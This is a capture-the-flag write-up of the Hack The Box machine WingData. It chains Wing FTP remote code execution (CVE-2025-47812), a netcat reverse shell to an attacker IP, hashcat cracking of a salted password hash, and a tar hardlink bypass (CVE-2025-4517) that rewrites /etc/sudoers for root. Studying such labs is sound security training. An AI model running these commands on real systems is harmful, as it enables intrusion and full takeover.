

Hack The Box – WingData (Easy Linux Machine)

Martina Giacobbe

March 16, 2026

Overview

WingData is an Easy Linux machine from Hack The Box. The exploitation chain demonstrates several common penetration testing techniques including:

- Service enumeration and web reconnaissance
- Exploitation of a vulnerable FTP service
- Reverse shell acquisition
- Credential extraction and password cracking
- Privilege escalation via a vulnerable backup restoration script

The attack path illustrates how small configuration weaknesses can combine into full system compromise.

1 Reconnaissance

The first step of the penetration testing process is reconnaissance, where the attacker gathers information about the target system.

From here, running an nmap scan, to check and see which ports are open and what services are running on the ports.

Press enter or click to view image in full size

1.1 Port Scanning

An nmap scan is performed using service detection and default scripts:

```
nmap -sV -sC -oN nmap_results.txt <target-ip>
```

nmap scan with -sV (versions) and -sC (default scripts), and sending the output to 'nmap_results.txt' But this command gives more detail.

Network scanning is a fundamental step in offensive security. It allows attackers to identify exposed services and their versions, which can then be mapped to known vulnerabilities.

Here we can see the redirect to 'wingdata.htb', so I add it to the /etc/hosts/ file.

```
<target-ip> wingdata.htb
```

2 Enumeration

Once basic reconnaissance is completed, the next phase is enumeration. This stage focuses on extracting as much information as possible from the discovered services.

Now, we go to it in the web browser. Navigating to the web interface, we are greeted by the Wing FTP Server dashboard. Wing FTP is a cross-platform server supporting FTP, HTTP, FTPS, and SFTP.

Clicking the “Client Portal” button redirects to a new virtual host at <http://ftp.wingdata.htb/>, revealing a login page.

After adding to the `/etc/hosts` file, the page will now load on.

And here, we can see at the bottom that it lists a specific version of FTP server.

At the bottom, the application discloses its fingerprint: Wing FTP Server v7.4.3.

Version identification is critical. Looking at the bottom of the page or the HTTP headers often reveals the specific build. On WingData, the version is typically found to be prior to 7.4.4, which is a “red flag” for the recently disclosed **CVE-2025-47812**.

Service enumeration often involves inspecting page source code, response headers, and visible banners. Many services expose version information which may reveal exploitable vulnerabilities.

When we go looking for vulnerabilities/exploits related to this, we get a crafted payload in github.

3 Initial Exploitation

So, we will use this python script, with the command to connect back to our listener port, opening up a shell.

Explaining the exploit: in Wing FTP Server before 7.4.4. the user and admin web interfaces mishandle `'%00'` bytes, ultimately allowing injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands with the privileges of the FTP service (root or SYSTEM by default). This is thus a **remote code execution vulnerability** that guarantees a total server compromise. This is also exploitable via anonymous FTP accounts.

Based on this, we will execute a payload to connect to our attacker machine, and get a reverse shell.

First, we will download the exploit (via github 4m3rr0r/CVE-2025-47812-poc), into the directory we’re working in.

Now, we’ll start a netcat listener, waiting for the connection to open the reverse shell.

```
nc -lvnp 4444
```

Now, we’ll run the exploit, and when we type what command we want to run, we’ll give the netcat command to connect to the IP (our attacker machine), and port (4444, we just opened).

Reverse shells are a very common post-exploitation technique. Instead of opening a port on the victim machine (which may be blocked by firewalls), the compromised host initiates a connection back to the attacker.

The command will be:

```
python3 CVE-2025-47812.py -c "nc -e /bin/sh <attacker_ip><attacker_port>"
```

4 Post-Exploitation Enumeration

After stabilizing the shell through pty, i explore around.

Shell stabilization can be achieved using:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Interactive shells allow the attacker to execute commands reliably and run privilege escalation tools.

There is a directory Wacky but i don't have access to it, but in /opt/Data/1/users there is a file wacky.xml, where an hashed password is stored.

I use hashid to identify the hash used:

```
hashid 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
```

Analyzing '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca'

```
[+] Snefru-256
[+] SHA-256
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94
[+] GOST CryptoPro S-Box
[+] SHA3-256
[+] Skein-256
[+] Skein-512(256)
```

4.1 Password Cracking

There is salt, so I append :WingFTP to the hash and put it in a file wacky-hash.txt.

Finally, I use hashcat:

```
hashcat -m 1410 wacky-hash.txt /usr/share/wordlists/rockyou.txt
```

The mode 1410 corresponds to:

sha256(\$pass.\$salt)

```
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca :
WingFTP: !#7Blushing^*Bride5
```

the password is !#7Blushing^*Bride5

Password cracking using wordlists remains one of the most effective techniques due to password reuse and weak password policies.

5 Privilege Escalation

Now I try to escalate, thus:

```
sudo -l
```

```
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/
restore_backup_clients.py *
```

The latter one is executed with root privilege.

The script extracts tar as root.

5.1 Vulnerability Analysis

In the script the:

```
with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")
```

part.

Important detail:

- `tar.extractall()` runs as root
- It extracts files contained inside the tar archive
- If the archive contains symlinks or path tricks, it may write outside the intended directory

This class of vulnerability is commonly known as **archive extraction vulnerability** or **tar path traversal**.

Attackers can craft malicious tar archives containing:

- symbolic links
- hard links
- path traversal sequences

When extracted with elevated privileges, these archives may overwrite sensitive files.

6 Exploiting CVE-2025-4517

So we will create a python script, that when ran, creates a malicious .tar file. Once we move the file over, and then run it, once it executes, we will then be able to run ALL commands as sudo, instead of just a couple.

The PoC is found at:

AzureADTrent / CVE-2025-4517-POC-HTB-WingData

and is:

```
#!/usr/bin/env python3
"""
CVE-2025-4517 Privilege Escalation Exploit for WingData HTB
Exploits tarfile symlink bypass via hardlink to write to /etc/sudoers
Author: Based on public PoCs
Target: Python 3.8.0 - 3.13.1 with tarfile filter bypass
"""
```

The exploit works by:

1. Creating a complex directory structure
2. Using symlink chains to escape the extraction directory
3. Creating a hardlink pointing to `/etc/sudoers`
4. Writing a malicious sudoers entry

Once the archive is extracted by the vulnerable restore script, the attacker gains full sudo privileges.

7 Root Access

After executing the exploit, the user gains:

```
wacky ALL=(ALL) NOPASSWD: ALL
```

in the sudoers file.
and just by executing it, a root shell is pwned.

```
sudo /bin/bash
```

This results in full administrative access to the system.

Conclusion

The WingData machine highlights several important lessons in system security:

- Public services may expose vulnerable software versions
- Sensitive data such as hashed passwords should not be stored in accessible locations
- Password cracking remains effective against weak credentials
- Backup and restore mechanisms must validate archive contents
- Running extraction utilities with root privileges introduces significant risk

By chaining service exploitation, credential recovery, and archive extraction abuse, a complete compromise of the system was achieved.